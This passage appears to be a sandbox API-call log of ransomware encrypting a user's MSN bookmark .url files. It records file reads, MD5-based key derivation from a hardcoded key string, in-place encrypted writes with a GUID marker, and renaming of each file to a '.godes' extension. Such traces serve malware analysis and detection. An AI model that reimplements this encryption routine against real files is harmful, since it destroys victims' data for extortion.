ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0114.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.001] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.001] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0114.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.002] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.002] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.004] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.004] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.005] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.005] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.005] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.005] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.005] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.005] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.005] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.005] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.005] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.006] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.006] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.006] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.006] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.006] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.006] GetLastError () returned 0x0 [0114.006] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.006] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.006] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.006] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.006] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.006] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.007] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.007] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.007] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.007] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.007] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.007] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.007] CloseHandle (hObject=0x624) returned 1 [0114.008] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.008] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.008] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.godes")) returned 1 [0114.008] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.008] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.009] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0114.009] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.009] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.009] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0114.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.010] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.010] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.012] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.012] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.013] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.013] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.013] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.013] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.013] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.013] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.013] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.013] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.014] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.014] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.014] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.014] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.014] GetLastError () returned 0x0 [0114.014] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.014] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.014] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.014] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.014] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.014] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.015] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.015] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.015] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.015] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.015] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.015] CloseHandle (hObject=0x624) returned 1 [0114.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.016] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.godes")) returned 1 [0114.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.016] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.017] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0114.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.017] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.017] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0114.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.020] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.020] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.022] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.022] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.022] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.022] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.023] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.023] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.023] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.023] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.023] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.023] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.023] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.023] GetLastError () returned 0x0 [0114.024] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.024] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.024] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.024] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.024] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.024] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.024] CloseHandle (hObject=0x624) returned 1 [0114.025] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.godes")) returned 1 [0114.025] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.025] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.026] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.026] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0114.026] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0114.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.027] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.027] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.029] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.029] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.030] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.030] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.030] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.030] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.030] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.031] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.031] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.031] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.031] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.031] GetLastError () returned 0x0 [0114.031] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.031] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.031] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.032] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.032] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.032] CloseHandle (hObject=0x624) returned 1 [0114.032] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.godes")) returned 1 [0114.033] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0114.033] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0114.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.034] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.034] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.036] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.036] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) 